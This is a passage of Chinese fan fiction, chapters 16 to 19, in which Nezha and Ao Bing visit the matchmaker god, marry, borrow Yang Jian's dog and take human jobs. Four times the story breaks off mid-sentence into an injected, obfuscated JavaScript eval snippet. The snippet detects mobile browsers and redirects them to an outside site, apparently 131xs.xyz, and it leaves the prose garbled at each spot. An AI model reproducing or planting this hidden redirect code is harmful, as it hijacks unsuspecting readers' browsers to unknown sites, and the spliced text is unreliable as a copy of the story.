小龙护心鳞还缺着,但是有小莲藕把他护着呢。 恨意和歉意不知道何时糅杂成友情与爱。 也不知是谁先动了心,生了情。 纠缠千万年而不止不休。 再也掰不开了。 16. 找月老要红线 话接上回,那哪吒和敖丙自此就在人间定了居。 那日二人正在街上闲逛,似是遇上人间七夕,路遇一道观人头涌涌,哪吒突发奇想,便拉着敖丙进去凑凑热闹。原来那是道观里供奉着月老,少男少女们来这儿求姻缘来了。单的求桃花运,成对的求长长久久。 那哪吒心头一动,便又拉着敖丙寻了个偏僻地儿,他拉着敖丙的手问到:“咱们去找月老吧。” 这是问吗,这是通知。 敖丙无语地笑了:“为什么?” “就……去让他给咱牵个红线?”话是直接说出来了,哪吒反倒开始不好意思了。 敖丙算是看出来了,这哪吒缺安全感缺得很,或是小时候父母对他不算太好,又或是童年过得苦了,近年来他发现哪吒越来越黏糊,似是又怕两人要像曾经那样互相等上千百年。 敖丙向来随和,便随他去了,化了龙形载着哪吒就往天宫飞。 那月老殿算是在业务高峰期,求姻缘的、求长长久久的红布条飞得到处都是,助手们忙着捡起分类归位,月老正埋头苦干着,一个个去翻八字命缘再做定夺。 敖丙见状也不好去打扰,拉着哪吒在堂前等待。 有小厮看见了他们,便去上报,月老在门帘那边大声回着:“二位要紧吗?不要紧我就先批完这一堆,凡事得讲究个先来后到!” 哪吒回了句不要紧,二人便在殿内等了一夜,顺道吃了些月老殿的美食,都是甜的,一如爱情的味道。待到月老顶着大眼袋出来迎客,天光都泛了鱼肚白。 “那我就按步骤来。”月老听懂了来意,但好奇怎么就哪吒一个人在说,便向敖丙抛去询问的眼神。 敖丙向他轻轻点了个头,示意不是被迫的。 “生辰八字有吗?” 那月老算着二人八字,忽而眉头一皱,不解地看向二人。 哪吒心头一紧,难不成,二人没有正缘?他拳头不自觉攒紧了。 “你们……”月老指了指他俩,小心翼翼说到,“已经有红线了啊?” 月老又去翻自己给神仙们牵线的工作本,翻来覆去的查了好几次:“怪事儿,我这也没记录啊?” 月老心里还嘀咕着难不成是自己一时粗心忘了登记,不应该啊,中坛元帅这身份他可不敢怠慢,忘了记指不定还要被扣绩效,伤不起。哪吒倒是欣喜万分,管他有没有真红线,有了就行。小莲藕心里美滋滋的,低着头偷笑。 “哦!我知道了!”月老一拍脑子,恍然大悟:“敢问中坛元帅是否有一法宝,叫混天绫?” 哪吒还没反应过来,敖丙倒是猜出来了几分。 “正是。”哪吒抬手,那红绸般的混天绫便现了形,飞到月老面前,落于他的掌心。 掌管姻缘的神抚摸着那红绸缎,边点头便笑呵呵解释:“这混天绫既是件好神器,又是红色,自然就做了中坛元帅的红线了。” “更何况,仙界也有传闻,这混天绫的料子和月老红线的料子都出自于同一匹布。” “当真?” 那月老手中化出一条红线,抚摸着:“传闻归传闻,小仙感觉混天绫和红线并不是同一种布料。” 哪吒又追问到:“那是什么时候起的效用?是我那年把混天绫给敖丙认了主,还是……”他没说出后半句,在意着旁人的情绪。 哪吒现在很想掌自己一嘴巴子,以后说话能不能过过脑子,敖丙虽已重塑龙筋,但脊背上的伤疤依旧狰狞。 “还是那年在发大水间,哪吒用混天绫将我抄起给结下……梁子?”敖丙倒是把后半句给补上了,顺带开了个玩笑,说完倒先把自己逗笑了。 月老抚着胡须:“这……老夫也不晓得啊……。” “但中坛元帅和华盖星君还请明晰个道理,我虽执掌姻缘,但那姻缘也得是正缘才能牵。老夫的职责不过是把这姻缘快马加鞭罢了,这不能成的,再强求也无果;这能成的,早晚都会成。” 二人谢过月神,便起身告辞了,那月老把他们送到殿门口,又拉住了华盖星君。 “华盖星君啊,这话老夫还是得说,如今天界太平了,来求姻缘的小神仙也多了起来。有些神仙找不着您,托老夫联系你给他们做婚服呢……” “您前些日子等中坛元帅苏醒,这咱们都知晓,老夫也就把你那活儿包了个百年,可如今……”月老看向中气十足红光满面的中坛元帅,不言而喻。 那月老是半弓着腰说得,说得敖丙都不好意思了,连忙应下。 那月老乐得自在,忙招呼小厮把那些个神仙的托信给呈上来了。 “嘿嘿嘿……那就有劳华盖星君了。”月老眉开眼笑地轻快走了,人像年轻了十岁不止。 随后敖丙便在家里腾出块地儿,给人做华服去了。哪吒闲的无事,便给他打下手,做模特。 那几套婚服不消几月便做了出来,小神仙来了他们家试,那对长得本就般配,又穿上成双成对的婚服,看得哪吒心痒痒。 送走新人后,敖丙一回过身,就看见哪吒黑着脸。 “下次能不能不要让外人进咱家。” “那咱们也没其他地方给试衣服啊?”今时不同往日,现在的房子不能自己起了,得花钱买。这倒是提醒哪吒了,该去取俸禄折算成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491125|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人间货币了。 “敖丙……” “怎么了?” “你说咱们要不包个铺子?” 餐桌上,两个人边吃边聊着未来规划。 “既是你工作室,你也有地方做华服,别人也用不着来咱家了。” “行啊。”敖丙对这种事情倒没什么意见,入乡随俗,人间现在串门习俗很平常,不过哪吒介意,那就依着他。 那晚两个人躺在新购入的大床上正准备入睡呢。 敖丙都快睡着了,迷迷糊糊地有一搭没一搭和哪吒聊天,周公已经来找他了,嘴里只剩含糊应着,语气越来越轻,回得越来越慢。 哪吒打着算盘开了口:“敖丙,咱们也结个婚吧?” 小龙属实是困了,也没听清没过脑子,随随便便应了一声。 “你答应了?” “……嗯……”过了十几秒,敖丙又发出一声呓语。哪吒心头的大石可算是落地了。 翌日清晨。哪吒又提了这件事。 “这……成何体统啊,哪有……咱们这样结婚的。”敖丙羞红了脸,死不承认。这年头,大家还鄙夷着两男人这样干呢。对外他们都说是同事关系,好掩人耳目。 “可你昨晚嗯了啊。” “那是你趁人之危!”小龙气了,嘴都撅着。 “中坛元帅言出必行,华盖星君怎么就出尔反尔呢?” 好一个空心莲藕,还以为是白白的心儿,谁知道那全是心眼子! 敖丙欲言又止,几次想再出口反驳,转念一想这事现在办不成那过几年还得旧事重提,以哪吒的性子,不得早晚磨他耳朵,索性早点完事得了。 婚礼的事就这么敲定了。 杨戬、孙大圣、龙王、太乙真人是必定来的,二人好像也没什么其他的朋友,想着也不用太铺张浪费,就做个仪式得了。 敖丙问到:“那李靖大人……毕竟也是您父亲……” 那年三次七宝玲珑塔都没收了哪吒,最后一下的放水敖丙也能看出来;后来天界终战,托塔天王更是直接侧过身给哪吒让了路。 哪吒也不是个无情无义的,应道:“我会向父母发请帖,至于他们来不来,就不知晓了。” 但是天神婚礼该有的排面还是得有。更何况主角是中坛元帅和华盖星君。 一如意鸟飞向月老殿,邀他来做证婚人。那月老岂敢推辞,连连应了下来。说到证婚人这事儿,还是哪吒提的,说什么去人间看了看现如今的婚礼,都有个证婚人,那咱们也得有。 月老给二人算了个黄道吉日,定了时辰,那筹备便紧锣密鼓搞上了。 17. 第17回 愿做连理枝 婚服,既然是两个男人,那自然不能走男女款那一套。敖丙说要不就按平常二人的穿法来?圆领袍的,一青一红,像荷花那种配色。 哪吒绞尽脑汁想象了一下,发现自己就是个粗人,想象不出来。 “就像以前古时候咱们衣服的配色。”敖丙发现小莲藕皱眉苦苦思索,被那皱巴巴的模样给逗笑了。 诶~这么一说哪吒就能想象出来了,连忙拍板说:“好!就这么办!” 并提出了极为抽象的要求:“能不能把衣服变得华丽又高贵,最好再契合一下咱们的特点什么的。对,面料要好的,甩杨戬的八百条街!” 各种安排都是两个人你一言我一语筹划出来的。 服侍装饰什么的敖丙负责,餐点哪吒负责。地点就定在了那时市里最高档的饭店,是天庭一个神仙在人间开的店。他们包下了顶层,私密性高。 那饭店服务员得知新人是中坛元帅和华盖星君,不由得惊了一把,虽然二人故事天界多多少少都有所耳闻,但要让他来招待这些大神仙,可真是捏了把汗。 那杀神还张口就来:“我负责做菜。” 吓得几位侍人连连说不可不可,定下菜式他们做就好,哪吒想了想,也好,遂决定到时候自己去东海捞些鱼虾回来,这饭店圈养的海味,不鲜美,不能在龙王面前丢了脸。 敖丙拿着软尺给哪吒量尺寸做衣服,哪吒只觉小龙指尖仿佛淬了火,隔着布料又刺挠又像烧着一般,把浑身肌肉都绷紧了。 “放松。是结婚又不是打仗。”敖丙把卷尺拿在手中,轻轻抽了一下哪吒的肩膀。 敖丙好像在故意折磨小莲藕,量肩宽时鼻息就打在哪吒脖子上,痒得小莲藕打了个颤。 敖丙是跪着给他量腿长的,哪吒比他高出半个头,往下一看就看见敖丙的发旋,长发没扎起来,直直落到哪吒脚背上。 “口口”,哪吒心里骂了一句,深吸一口气,强行平复情绪。 “腿张开点儿,要量你内衬。”哪吒听话,把腿再开了一点,敖丙的手指无意间就碰到了大腿内侧,急得哪吒默背清静经。 后来是量胸围,哪吒受不了了,要求穿个衣服再量,敖丙拒绝:“这样的话尺寸就不准了。” 于是哪吒双耳通红,只穿着一条短裤像根木头一样杵着,承受“极刑”。 不出一月那两套婚服便制成了,如哪吒所期待的,是最上乘的料子,布料在光下都能泛着珠光。 敖丙那件圆领袍是青蓝白三色的,印有祥云和水的暗纹,又用银丝做了刺绣处理,图案是龙的样式,看样子是按着自己的模样绣的,栩栩如生。 哪吒的那件则是用不同的红色织构而成,层次感很强。暗纹是相同的,只是用的金丝做刺绣。那金色荷花上正巧是暗色的布料,隐约可见人影。那火尖枪和风火轮也被绣上了。腰带按敖丙的说法,让混天绫充当一回。 敖丙的腰带是父王前些日子派龙送来的,新打的皮革,新镶嵌的宝石。 反正没有女龙儿后代,便也不讲究这么多了,敖丙温润如玉,长得也美,用彩宝做衬,合情合理!龙王大手一挥,说敖丙值得最好的珠宝,便把妻子留下的传家珠宝给用上了。 转眼,便到了成婚那日,杨戬、孙大圣坐一边他们这还加了把凳子,给啸天用的;龙王、太乙真人、殷夫人坐另一边。这头中间隔着两空位,是待会新人来坐的,那头空着一座位,是给月老落座的。 不过李靖没来,他回信说有事,来不了,又恭贺了一大串文书祝他俩幸福,后面还附了一封厚厚的信,写着给哪吒的,敖丙也不好意思一起看了。只知道哪吒把那封信翻来覆去的看了好几次才放回信封,放到他自己书桌抽屉里。 这场婚礼没什么太复杂的仪式,来的都是至亲至交。 从大门到月老面前不过区区几十米,哪吒却感觉恍若走了千年,心怦怦地跳着。敖丙察觉了旁边那人跟打雷了似的心脏,抿嘴憋笑,右手自身后过去悄悄捏了捏哪吒的腰。 被小龙凉凉的手安抚过后,哪吒心便定了些。他连上九死一生的战场都不怕,现在心儿倒是跳得比以往都快,略有些丢脸了,不过为所爱之人丢脸,没什么。 待月老念完一长串的致辞,便是三拜的大礼。 一拜天地,谢天地孕育众生,因果劫数自有定。 二拜高堂,谢父母师友恩情,藕生骨肉珠续命。 新人对拜,龙鳞莲芯共缠绵,日月山海证此情。 三拜,礼成。 二人起身,双眸倒映着爱人的身影,眸里盈满了爱意。本是没安排这个情节的,哪吒却自作主张向前一步,一手抚上敖丙的腰,一手托着敖丙的后脑勺,亲了上去。 那啸天在下面看见了,也扑倒杨戬身上,拿大舌头去舔主人的脸。 故事起于青铜时代,兜兜转转了不知道多少个朝代,麦子不知熟了几千回,在今天画下了一个句号,但并非结束。因为故事将会在神明无限的生命长河中续写下去。 新人落座,免不了是要喝下些酒的,敖丙还是不胜酒力,几杯下肚,绯红就染上了脸颊。众人吃得欢,敖丙哪吒一时应着同辈的话和起哄,一边又回着长辈的搭话。 那啸天吃得最起劲儿,半条狗窜上了桌子要把那蒜烤生蚝叼到碗里,得亏二郎神手速快一把抓着狗腰,把啸天按了回去,笑着给众人道歉,又一下子拿了好几个生蚝给啸天吃。 这是大喜的日子,没人在意礼节,倒也乐得看啸天像饿狠了般狼吞虎咽。 孙悟空打趣到:“三只眼,你做人不厚道啊,看看看,啸天饿成这样,还不如放我花果山散养,管饱。” “你看它饿呢,它就是纯馋!”杨戬一下一下撸着狗头。 敖丙倒是想起了什么,好像当年杨戬说啸天摸着暖和来着。酒精作用下,身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491126|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比脑子转得快,神差鬼使地离了坐,双手就这么拍上啸天后背。 啸天嘴里还嚼着块肉扒呢,一边嚼一边扭头,把好奇的眼光探过去。 那啸天手感确实好,软乎又热,毛茸茸的,和龙鳞手感完全不一样。 “好摸吧?”杨戬沾沾自喜着呢。 啸天也喜欢敖丙,把嘴里的东西咽下了就拿大舌头糊了敖丙满脸口水。 小龙笑得可开心了。 “这么喜欢?你拿回去养几天呗。”杨戬早就知道这俩都没养过猫猫狗狗什么的,他觉得养个宠物挺好的,能排忧解闷。 敖丙满心思在撸啸天上,没看见哪吒疯狂眼神示意拒绝:“好啊,借我养几天,到时候你来取。” 等摸爽了,敖丙才坐回哪吒身边,小声问:“李靖大人真没来啊。” 哪吒吃着藕片呢,嘴里含糊道:“来了,门外听着呢,哦好像要走了。” 殷夫人也不全是凡人,也感受到丈夫的气息,看看门外,又看看儿子,拍了拍哪吒的手背做了安慰。 门外,李靖大人笑笑,点了点头,悄声离开了。 饭吃得差不多了,众人便起身离坐了,年轻那几个继续去哪吒敖丙家走下半场,年长的懒得折腾,各回各家。 那天4人一狗疯了个通宵才散了,孙悟空约了十年后夏天去他花果山摘五十年结一果的桃子,杨戬说把啸天留在这一个月,敖丙开心得要死,哪吒还没来得及拒绝好意,三眼儿便赶紧溜之大吉。 刚开始吧,啸天确实乖得很,又聪明,后来敖丙就知道为什么杨戬走得跟冲天炮似的了——太能闹了。 狗都得溜,啸天精力旺盛又跑得快,为了溜它两人一天得跑个几十公里——怎么得出的结论呢? 那天敖丙哪吒累了没管遛狗,想着一天不溜没什么。谁知自凌乱的床上醒来,打开房门后只看见满屋狼藉,好似被盗了似的。 谁能想到啸天,堂堂神犬也会拆家呢…… 那啸天现站在门口,爪子挠着门,狗嘴还笑着看二人呢,看着就火大。 哦对了,啸天饭量也大,在敖丙这就还好,大不了去东海咬一嘴巴海鲜回来。 哪吒对此得出结论:“怪不得杨戬老哭穷呢,被啸天吃穷的。” 啸天可听得懂,给哪吒吠了一声以示反驳,又埋头苦吃半臂长的骨头去了。 一月后,杨戬大笑着来接狗了,整个人容光焕发的。 饶是战神也被热情的啸天扑得后退三步。 “谢谢,不养了,你拿回家吧,敖丙喜欢的话我和他登门拜访,不劳您千里迢迢带过来。”哪吒先开了口,把杨戬要说的尽数堵回去了。 送走拆家犬,哪吒看向满屋狼藉——家具被啃坏了不少,墙也被抓坏了,又是一大笔开销。 敖丙翘着手看他:“怎么办啊?” 哪吒扶额:“还能咋办,取钱修房。” 18. 神仙也得打工 那日,哪吒去领今月的俸禄好置换新家具。 “不是?!怎么才这么点??”看见那一摞纸钞,他没忍住喊了出来。 新的天庭已然组成了,俸禄处办事员给中坛元帅解释道: “世道变了大人,如今人间不再兴盛信仰神明了。香火也少了许多,天庭无力维持这么多神仙的俸禄。所以除了神格还在运转之外,我们鼓励神仙们下凡。实打实履行自己的职责,在人界赚取俸禄香火。用人间的话来说,就是工资。” “当然,传统节日时凡人还是会大规模进行供奉的,以中坛元帅的知名度,光春节的香火应该也够吃一年的。”办事员脸上维持着公事公办的笑容,皮笑肉不笑,看得哪吒觉得有点渗人。 “哈????”哪吒真的想又一次掀了天庭,人间其实还是会唤他法号祈愿的,诸如做了噩梦求驱邪、保佑孩童、驱邪避凶之类的。他晚上处理这些就已经略微费神了,如今还要克扣他俸禄!手里的纸钞比上一年整整薄了一半不止! 但是显而易见他不会再去把天庭砸了,只能压下抽搐的嘴角,拿着一叠钱回家了。 哪吒一回家就朝敖丙大吐苦水,敖丙便切了盘水果放喷火莲藕面前:“是啊,现在人间发展起来了,不像以前般需要神明庇护了。现在他们好像治水有方,连带着咱们龙族的压力都少了不少。” 小龙叉了块葡萄,“我前些日子去看了看,有一个堤坝工程在招人,我想去试试。” “你早就知道了?” “昂。” “那怎么不告诉我?” “你香火旺啊,快到春节了,你一开张吃一年的,去不去人间打工无所谓。哪像我啊。” 哪吒脑子里一团乱麻。小龙知道钱不够,去找工作了,但是小龙没有和他说,也不想让他担心,就连意向行业都选好了,也没和他商量,心里很不是滋味。 “不是,人间不是工作要有前置要求吗?你学了那些东西?” “凡间事务对接处会安排,选好意向的职业会有专门的知识培训,不要钱。然后也会进行名字处理,要不然同事叫哪吒敖丙什么的也太吓人了。” 所谓处理,就是通过某种算法,凡人眼里你是另一个名字,但是喊你会自动识别成自己本名,也免去了神仙适应新名字和互相唤神仙同事时的尴尬。 哪吒兴致没了,嘴里嚼着苹果片,脑袋靠在餐桌上,腮帮子一动一动的:“怎么办啊……我打什么工好……” “急什么,家里也不是真的没钱了。”敖丙看着哪吒齐肩的发散在餐桌上,忍不住伸手过去把玩,青蓝的眸子含着笑意看着闷闷不乐的小莲藕,“人间春节要到了,现在也不怎么招人,先把今年的春节过了吧。” 老样子,四个人的年夜饭。只是今年话题从当年天界见闻变成找工作了。 “俺老孙决定了,去动物园养猴儿!”那孙大圣倒是早就决定好了,年后入职,和他本来干的事儿一样。在花果山当猴王,到人间打工了还当猴王。 哪吒看向杨戬。 三眼儿:“你是知道的,我被称为灌口二郎,所以挑了个水利工程的工作,但是还没去学呢……” 敖丙听了一喜:“我也是去水利工程,以后说不定还是同事。” “那敢情好啊,过阵子一起回天庭上学去。” 哪吒搭不上话,不断夹着鱼往嘴里塞,嘀咕道:“那我要不也去学水利工程吧,反正肯定能学会的。” 敖丙思索了一下,才开口:“好像……属性不对吧……”他夹了块白切鸡吃,这是哪吒新学的菜式,“我是龙,司水;杨戬神格本就有治水一职,你这是……要去把水烧干吗?” 敖丙脑子突然想起来家里新买的煲水器,水烧开了就滋哇滋哇的叫,莫名其妙就联想到了小莲藕,嘴角都挂了笑意。 小莲藕好像想到了什么,猛地坐直了,连眼里都放了光:“有了!我有驱邪避灾的职能,那我去做警察!” 众人纷纷表示敬畏,警察这工作不好干,一是累,而是天天看些不净的东西,若不是命硬,神仙自己也会染了邪祟。但哪吒显而易见的——一身正气,满身反骨,八字极硬。 屋外鞭炮不断,噼里啪啦的,把空气都染上灰白的颜色,待那烟尘散去,众人也学完课程,正式在人间开启新征程了。 敖丙最后没和杨戬做同事,一个搞防洪,一个搞跨流域调水,也不在一个地方。 哪吒敖丙搬了新家,方便敖丙平时能回家,哪吒的警局也离家不远,虽然忙起来了,但还是能经常见上面的。 早上,两人去楼下铺子买了包子,就各奔东西去上班了。警察的工作不好干,压力大,案子多,哪吒上手后就经常顾不着家。敖丙那边还好,偶尔加加班。虽然说警局也有饭堂,但是前阵子两人好不容易同床共寝,哪吒找敖丙抱怨饭堂吃腻了,敖丙嘴上应着,没说什么。 哪吒还以为敖丙也忙,顾不上他,只撅了噘嘴又转过身搂着敖丙,吸着小龙的味道缓缓入了梦乡。 哪吒又连着几天没回家,忙案子呢,最近进的打拐队,有时候直接在警局睡了。有一天早上,局子里全是烟味儿,有队友醒了,正准备去饭堂吃个早饭。 “别去了,小陈去外面给咱买煎饼果子了!” 不一会,小陈就拿着一堆煎饼果子回来了,却独独没有分给哪吒。 “不是,我的呢?”哪吒嚷了一句,他在这人缘好,不应该没买他的。 “诶吒哥,瞧我给忘了,队里门口有个好漂亮的女生拿着饭盒呢,我路过听她和门卫说是找你的。” 哪吒蹭一下就站起来了,门卫不一定会放人,他没提前打过招呼,敖丙长得好看,被认成女生也不是不可能,这警局同事都五大三粗的。他直接拔腿就小跑着往门口接人,那些个同事也不吃了,有八卦谁不凑热闹。 于是——哪吒领头跑着,后面跟着一堆男生,就站在大楼门口看热闹。 那提着饭盒的确实是敖丙,他没学现在的人一样剪了短发,只是把长发盘了起来,眉清目秀的,笑吟吟站在保卫室等哪吒来。 哪吒紧赶慢赶过来了:“嗐,你特意过来一趟做什么呢?特意折过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491127|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来再去上班,还不如多睡会儿。” “你不是说想吃家里的,我反正也早起了,就顺带带过来了。”那饭盒还烫手的,哪吒接了过去,也没直接转身就走,但是后面大门边上全是鬼鬼祟祟探头探脑的人儿,他也不方便表示什么。 “你……注意歇息,我今晚尽量回家。”哪吒向前一步,想把人拥入怀中,但最终还是生生忍住了。 “人民警察为人民,我不要紧,你先顾好这边的。家什么时候都在,但是你经手的案子,那些孩子都还等着回家呢。” “我走啦,那边主任严,不让迟到。”反倒是敖丙先开了口道别。 “好。” 等哪吒端着饭盒回大楼,其他人可就按耐不住了。 “那是谁?嫂子吗?” “你小子有福气啊,这么好看的人儿。” 哪吒倒不好意思了,他不喜欢骗人,便也豁出去了:“他……不是女生……” “男生?长这么好看!” “弟弟?不对吧,你俩一点也不像。” “不是弟弟……” “嘶……男生给你送饭……?” “他……是我很好的朋友。”哪吒思衬再三,还是往保守里了说,现在大家还没能普遍接受这种事情呢,多一事不如少一事,虽然他知道自己无论喜欢什么样的人,同事也不会说三道四的。 是不幸也是万幸,在只能隐藏爱意的时代,他们都有一群善良的同事。 当天,哪吒看着工作也处理了七七八八,和同事们说了一声,早些下了班。 哪吒便去买了鱼虾回家,天色尚早,敖丙还有一个小时才到家。备好菜,算好时间,便把鱼蒸下了。 门口传来钥匙的声音,想必是敖丙回来了,哪吒脱了围裙便走到门口,正巧遇上敖丙开门的一瞬。哪吒反手把人拉进来,关了门。 “他们今天叫你嫂子。”两人离得极近,鼻息打在对方脸上。 敖丙别过头:“什么嫂子的……是离得远没看清吧。” 哪吒用指尖掐着小龙下巴,让他转过头来:“我说……你是我很好很好的朋友。” 敖丙眼里水汪汪的,闭上眼睛在哪吒唇上轻啄一口:“确实是好朋友。” 哪吒一手摩挲着敖丙脖子,一边回吻,两人的手的情不自禁的探入对方衣服下摆,小龙的腰肢敏感,哪吒总是坏心的拿手指在腰间一按一按的,敖丙受不了痒,小腹也跟着一缩一缩地,人往后退着,不一会就被哪吒按在墙上了。 可那定时器可不管这些,叮铃铃响起来催促着,哪吒依依不舍结束了亲吻,利索套上围裙,掀开锅盖,徒手就把鱼碟子给拿了出来,招呼敖丙快洗了手来吃。 敖丙挑眉看着,这一幕无论看多少次都很震惊:铁砂掌啊! 月明星稀,社区里安静的很,二人相拥而眠,可哪吒却是半昧着,有时候在梦乡,有凡人唤他法号,他便去那些人梦境里驱邪了。 这些日子也持续挺久了,哪吒感觉自己越来越累,幸好怀里的小龙总是能给他充满电,把疲劳一扫而空。 19. 自己拜自己 二月二,龙抬头。今天水利局集体外勤,去大江旁边的龙王庙里烧香祈福。 当敖丙听到这个通知时,他自己都没忍住“啊?”了一声。 “这你就不懂了小丙,”同事那天一边埋头干着工图一边解释:“虽然咱们都是唯物主义者,但是玄学这种东西嘛,还是得意思意思。年年咱们都去烧香祈福的,就望龙王保佑风调雨顺咯。” “也用不着多信,反正就是拿点水果去,再上几根香,鞠几个躬,不是那种大张旗鼓的。”另一个同事搭话到,因为看见敖丙满脸欲言难止的表情,还以为敖丙不喜欢搞这些玄乎的。 “哈……哈哈……我不是不信。”敖丙哭笑不得,“就是,以前还没拜过。” 那天,敖丙负责带上一捆厚厚的香还有蜡烛火机,近百人就在领导带领下往龙王庙出发了。 轮到敖丙上香了,他点了香火,等着明火自然熄了,便在香炉前做起祈祷来。 别人那都是默念希望龙王保佑人间风调雨顺五谷丰登,而敖丙张口就是:“父王,儿臣最近在人间寻了个差事,是个水利工程,今日和朋友们前来祈福,实在是说不出什么祈福的话。” 他一拜完,便看着那龙王的牌位,心中默默讲到:“虽然现在扮作人类履行治水的工作,夜晚也会化回龙去四方治水,请父王莫要挂念。” 三根香按中右左的方式插入香炉,正要转身离开呢,敖丙脑子里倒出现了父王的回话:“听见了,在人间也要好好为民谋福利,身为龙族,治水是我们一辈子的责任,莫要懈怠。” 敖丙点点头,回到:“谨遵教诲。” 正当一行人下山之时,敖丙却听见了杨戬的声音,他往身后瞧瞧,却只见同事一脸疑惑看着他。 “诶敖丙,你们今天有没有去拜龙王庙啊?我现在就在龙王和你的牌位前呢。”原来杨戬他们今日也要来龙王庙祈福。 “刚拜完我爸呢……”敖丙自己都哭笑不得,幸好这边的龙王庙没有自己的牌位,要不然真成了自己拜自己,乱套了。 “哟,真有意思,诶反正你听见了我就走个后门,你保佑一下风调雨顺啊。” “好好好,我努力,有时候也不是什么水都听龙族话的。”敖丙应下了,又带了补充。 这天上地下的水啊,说是都归龙族管,可这天下还有天道,即便是龙族也不能逆天而为,若是强行征调风雨,自身也会被天道反噬。 大巴车都要启动了,但杨戬那边竟然还没结束仪式,有一搭没一搭聊着,突然杨戬大声惊呼了一下。 “哟呵!” “怎么了?”敖丙倒不着急,这声音绝对不是什么大事儿,但肯定是稀奇事儿。 “哪吒也来拜了……” “警察也拜龙王庙啊?”敖丙疑惑道。 “没……拜的‘英烈昭惠灵显威济王’,这个神职有一些涉及庇护平安的……没记错的话,好像他拜的那个庙里,还有他自己。”千里之外,杨戬躲在个廊柱后,笑得眼睛都弯成月牙。 敖丙头抵在车窗上,嘴角强忍着笑意,他现在都能想象出来哪吒是什么情况:绝对是满脸不服气想“我怎么还要拜杨戬”和“大家都看着呢就装装样子吧”之间拉扯着。想必今晚一回到家,小莲藕就要找他说这件事。 “对了灌口二郎,你有没有拜你自己啊?”敖丙问到,现在杨戬就在灌口那边工作呢,这工作可太对口了。 “拜了啊,自己给自己上香,太有意思了。”杨戬一手托着腮,语气里全是无奈,又想到了什么再也没忍住笑,惹得那边的同事投来好奇的目光。杨戬边笑边补了一句,“啸天也被我上香了。” “对了杨戬,有没有想过过了十几年我们怎么办啊,总不能一份工作打到退休吧,太容易暴露了。” “不知道啊,天庭那边现在也在讨论这件事情呢,可能到时候得转行吧。” 那日下班回了家,敖丙正端着饭菜往餐桌放,哪吒正好把门开了,确认门关好后小莲藕就开始嚎了:“敖丙!你猜猜我今天去拜了谁!” 敖丙知道,但就不说,故作不知问:“警察的话,肯定不是拜龙王,你拜你自己?” “何止啊!我还拜了杨戬!”小莲藕大吐苦水,给好兄弟上香这种东西实在是太怪了啊!哪吒把公文包甩到沙发上,整个人借力一倒就摊在沙发上,嘴里不停念叨着,“我甚至还给啸天上香!你猜我给啸天说啥了?” 敖丙走到哪吒旁边坐下,哪吒就把头靠在小龙大腿上,手指把玩着小龙的头发。 “说了啥?” “让它别趁杨戬上班就拆家,要不然杨戬真的是打工赚的钱全给它花完了。” 小龙一下一下拍着哪吒头:“我今天还拜了我爸呢。” “龙王怎么说?” “让我好好工作。” “唉……说到工作……”哪吒撑着身子做了起来,“吃饭说还是晚上说?我怕搅了好心情。” 长痛不如短痛,餐桌上二人就说开了。哪吒因为工作原因得去外省出差,几个省轮流那种,得好几个月不着家,可能期间不能联系外界。 “安全吗?”敖丙知道警察工作有一些要保密的,小莲藕又基本上有问必答,也不爱瞒着他什么,他也不想去为难哪吒,便挑了个最模糊也最关键的问题。 “应该是安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491128|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。不过你也不用太担心。”哪吒把鲈鱼的皮用筷子尖刮走,方便二人夹鱼肉,“我们是神,虽然天庭为了让我们更像凡人,给身体做了些改变,但比普通人强多了,致命伤也死不了。” “但那也会痛啊。”敖丙今天上班不小心被抽屉夹了,十指连心,痛得连眼泪都挤了出来。 哪吒倒是喜欢看见敖丙心疼自己的模样,戳到自己心坎上了:“放心啦,我会保护好自己的。你自己在家也要好好吃饭,别像以前那样等了几百年都不吃一口饭。” 那天晚上二人又疯了一场,第二天是周六,敖丙不用上班,哪吒倒是天刚亮就醒了,去收拾行李赶车,任务来得急,局长只给大家放了一个晚上回家准备准备。敖丙被窸窸窣窣的声音吵醒了,扶着腰倚在门口看着哪吒。 